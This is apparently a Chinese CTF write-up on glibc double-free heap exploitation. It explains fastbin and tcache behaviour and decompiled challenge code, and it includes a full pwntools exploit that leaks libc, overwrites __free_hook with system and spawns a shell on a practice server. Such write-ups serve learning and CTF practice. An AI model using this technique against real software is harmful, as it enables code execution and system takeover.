double free

double free

简介

Double Free 是一种常见的内存漏洞,发生在程序错误地两次释放同一块内存时。程序在使用 free() 函数释放内存后,如果不小心再次释放同一块内存,就会破坏堆内存的管理结构。

这种漏洞让攻击者可以利用程序的错误,操控堆内存的结构,进而可能控制程序的执行流程,执行恶意代码,甚至窃取敏感信息。为了避免这种情况,通常需要在释放内存后将指针设为 NULL,确保不会再次释放同一内存。

原理

fastbin

在 GNU 的 C 标准库实现 glibc 中,堆管理器 ptmalloc 会把较小的 chunk(默认 ≤ 64B)放入 fastbin

fastbin 的特点:

  • 只使用 单向链表
  • 只用到 fd 指针
  • 不会立即进行合并(consolidate)
  • LIFO(后进先出)

结构大概是:

1
2
3
4
5
6
struct malloc_chunk {
size_t prev_size;
size_t size;
struct malloc_chunk *fd;
struct malloc_chunk *bk;
};

对于 fastbin 来说:

  • 只使用 fd
  • 不检查 bk
  • 不做 unlink 操作

正常的 free 流程(fastbin 情况)

当:

1
chunk_size <= max_fast

并且:

1
该 chunk 不与 top chunk 相邻

则:

  1. 不进行合并
  2. 直接插入对应大小的 fastbin 链表头
  3. free 结束

插入方式是:

1
2
3
4
5
free(chunk1)
free(chunk2)
free(chunk3)
free(chunk4)
main_arana ->chunk4 ->chun3 ->chunk2 -> chunk1 #chunk2的fd储存的是chunk1的地址,以此类推。

double free 原理

如果我们直接

1
2
free(chunk1)
free(chunk1)

系统就会直接检测到double free。

怎么绕过我们可以

1
2
3
free(chunk1)
free(chunk2)
free(chunk1)

这样系统不会检测到。

那我们怎么利用它呢?

1

然后我接着申请就会依次申请回来chunk2 ,chunk1,第三次申请就会把malloc_hook当做一个堆块申请过来,我们就可以该他的地址里保存

的内容。

例题

伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_400911(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_4009A8();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 2 )
break;
sub_400B73();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
sub_400A3F();
}
if ( v3 == 3 )
{
sub_400C40();
}
else
{
if ( v3 != 4 )
LABEL_13:
handler((int)buf);
sub_400D21();
}
}
}

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 sub_400A3F()
{
int i; // [rsp+8h] [rbp-28h]
int v2; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( dword_60204C <= 10 )
{
puts("Please input the length of message:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( v2 <= 0 )
{
puts("Length is invalid!");
}
else
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(_QWORD *)&dword_602060[4 * i + 2] )
{
dword_602060[4 * i] = v2;
*(_QWORD *)&dword_602060[4 * i + 2] = malloc(v2);
puts("Please input the message:");
read(0, *(void **)&dword_602060[4 * i + 2], v2);
++dword_60204C;
return __readfsqword(0x28u) ^ v4;
}
}
}
}
else
{
puts("Message is full!");
}
return __readfsqword(0x28u) ^ v4;
}

可以看到在bss段上的结构题

bss[4 * i]和bss[4 * 1]存的是size

bss[4 * 2]和bss[4 * 3]存的是chunk的地址 bss的数组一个单位是4字节,但是储存地址的时候要8字节所以占用两个单位。

delete函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 sub_400B73()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( dword_60204C <= 0 )
{
puts("There is no message in system");
}
else
{
puts("Please input index of message you want to delete:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 > 9 )
{
puts("Index is invalid!");
}
else
{
free(*(void **)&dword_602060[4 * v1 + 2]);
dword_602060[4 * v1] = 0;
--dword_60204C;
}
}
return __readfsqword(0x28u) ^ v3;
}

在delete函数中可以看到存在UAF漏洞,它只把size置0了,没把chunk置0。

直接放exp,解释都放在注释里了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# coding=utf8
#!/usr/bin/python3
from pwn import *

# 基础配置
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'

# 简化交互函数(直接使用 pwntools 原生类型支持)
s = lambda data : p.send(data)
sa = lambda delim, data : p.sendafter(delim, data)
sl = lambda data : p.sendline(data)
sla = lambda delim, data : p.sendlineafter(delim, data)
r = lambda numb=4096 : p.recv(numb)
ru = lambda delims, drop=True : p.recvuntil(delims, drop=drop)
irt = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
leak = lambda name, addr : log.success('{} = {:#x}'.format(name, addr))

# 目标连接
p = remote('node5.buuoj.cn', 26606)
elf = ELF('./ACTF_2019_message')
libc = ELF('./libc-2.27.so')

# 功能函数
def add(size, content):
sla("What's your choice: ", b'1')
sla('Please input the length of message:\n', str(size).encode())
sa('Please input the message:\n', content)

def free(index):
sla("What's your choice: ", b'2')
sla('Please input index of message you want to delete:\n', str(index).encode())

def edit(index, content):
sla("What's your choice: ", b'3')
sla('Please input index of message you want to edit:\n', str(index).encode())
sa('Now you can edit the message:\n', content)

def show(index):
sla("What's your choice: ", b'4')
sla('Please input index of message you want to display:\n', str(index).encode())

# ================== 漏洞利用 ==================
# 1. 初始化堆块
add(0x68, b'a') # 0
add(0x68, b'a') # 1
add(0x10, b'/bin/sh\x00')# 2 (存放 /bin/sh)

# 2. Tcache Double Free (libc-2.27 特性)
free(0)
free(1)
free(0) # 再次 free 0,构造 tcache 循环

# 3. 篡改 tcache fd 指针,指向消息数组 bss[0]
add(0x68, p64(0x602060)) # 3 (修改 chunk 0 的 fd)

# 4. 依次申请,将目标地址 "分配" 出来
add(0x68, b'a') # 4 (拿到 chunk 1)
add(0x68, b'a') # 5 (拿到 chunk 0)
add(0x68, p64(0x8) + p64(elf.got['puts'])) # 6 (篡改消息数组,让 bss[2]和bss[3] 指向 puts@got)

# 5. 泄露 libc 地址
show(0) #此时chunk1对应的是puts的got表,输出的就是真实的puts的地址。
ru('The message: ')
puts_addr = uu64(ru('\n'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

leak('puts', puts_addr)
leak('libc_base', libc_base)
leak('system', system_addr)
leak('free_hook', free_hook)

# 6. 篡改 free_hook 为 system
edit(6, p64(0x8) + p64(free_hook)) # 让 bss[2]和bss[3] 指向 free_hook,
edit(0, p64(system_addr)) # 修改 free_hook指向的值覆盖为system

# 7. 触发 free("/bin/sh") 拿到 shell
free(2)

irt()